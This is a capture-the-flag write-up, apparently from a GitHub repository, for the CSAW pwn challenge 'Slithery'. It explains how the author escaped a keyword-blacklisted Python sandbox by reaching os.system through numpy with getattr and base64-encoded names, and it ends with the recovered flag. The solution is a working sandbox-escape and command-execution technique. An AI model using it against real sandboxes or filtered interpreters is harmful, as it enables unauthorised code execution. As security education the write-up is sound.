Skip to content

Latest commit

 

History

History
213 lines (175 loc) · 6.29 KB

slithery.md

File metadata and controls

213 lines (175 loc) · 6.29 KB

Slithery

Problem description

Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...

nc pwn.chal.csaw.io 5011

sandbox.py

Category: pwn. Points: 100.

sandbox.py

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
    print("EduPy 3.8.2")
    while True:
        try:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
            exec(final_cmd)

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":
    exit(main())

Personal note

First time solving a pwn challenge. It was fun to do a python challenge, and I also learned some new things about the python language.

Tools

  • python3 interpreter

Solving the challenge

This is a coding environment that accepts python commands. However, there is a blacklist, meaning a lot of our input will not be accepted. We need to get around the blacklist to execute the commands that will let us read the flag.

This would be the naive approach (without the blacklist):

>>> import os
>>> # List files in current directory, hopefully the flag is there
>>> os.system("ls")
>>> # Assuming the flag is located in flag.txt
>>> os.system("cat flag.txt") # Output file content

Connecting via netcat: nc pwn.chal.csaw.io 5011

EduPy 3.8.2
>>> import os
Exception: not allowed!!
>>> import
Exception: not allowed!!
>>> os
Exception: not allowed!!
>>> system
Exception: not allowed!!

Thus, we can not import modules the traditional way, and the words "os" and "system" are blacklisted. So we need to find another way to get the flag. Examining sandbox.py gives us some hints. We have access to the script variables from the coding environment, but the easiest way to examine how the code works (without being bothered by the blacklist) is to paste it into our own python3 interpreter:

>>> uOaoBPLLRN = open("sandbox.py", "r")
>>> uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
>>> ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
>>> AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
>>> bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
>>> uOaoBPLLRN.close()
>>> HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
>>> RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))

# Examining variables
>>> print(AAnBLJqtRv)
base64
>>> print(bAfGdqzzpg)
b64decode
>>> print(HrjYMvtxwA)
<function b64decode at 0x7f2dfcadf2f0>
>>> print(RMbPOQHCzt)
<module 'numpy' from PATH+'/__init__.py'>

Now we know we can b64decode strings using the HrjYMvtxwA variable. This could be a way to circumvent the blacklist.

Maybe we can put code into b64encoded strings, b64decode the strings, and then run the decoded strings with either eval or exec?

Checking the coding environment:

EduPy 3.8.2
>>> eval
Exception: not allowed!!
>>> exec
Exception: not allowed!!

Seems eval or exec will not work. However, we also have access to the numpy module. We can examine the numpy module further in our own python3 interpreter:

>>> print(RMbPOQHCzt.__dict__)

This module has a lot of attributes. For instance, I noticed that the sys module is exposed through the numpy module.

>>> print(RMbPOQHCzt.sys)
<module 'sys' (built-in)>

So let's see if the os module is also exposed:

>>> print(RMbPOQHCzt.os)
<module 'os' from PATH+'os.py'>

This looks really promising. However, we still have the problem that we can not access the os attribute directly from the coding environment, since the word "os" is blacklisted. To get around this restriction, we can first b64encode the word, and then b64decode it. The problem then is that we will only have access to "os" as a string. It is not possible to get an attribute using a string when using dot notation.

>>> print(RMbPOQHCzt."os")
  File "<stdin>", line 1
    >>> print(RMbPOQHCzt."os")
     ^
SyntaxError: invalid syntax

Actually, sandbox.py uses an alternative approach to access base64.b64decode:

HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)

Let's find out more:

>>> help(getattr)

Help on built-in function getattr in module builtins:

getattr(...)
    getattr(object, name[, default]) -> value

    Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.

Using getattr, it should be possible to access the os attribute through "os" as a string.

Let's craft our solution in our own interpreter before trying it in the coding environment:

>>> base64.b64encode(b'os')
b'b3M='
>>> base64.b64encode(b'system')
b'c3lzdGVt'
>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))
>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls") # Equivalent to os.system("ls")
>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt") # Assuming flag is in flag.txt

Connecting to the coding environment:

$ nc pwn.chal.csaw.io 5011
EduPy 3.8.2
>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))
>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls")                      
blacklist.py
flag.txt
runner.py
sandbox.py
solver.py
>>>
>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt")
flag{y4_sl1th3r3d_0ut}

Finally, we obtain the flag:
flag{y4_sl1th3r3d_0ut}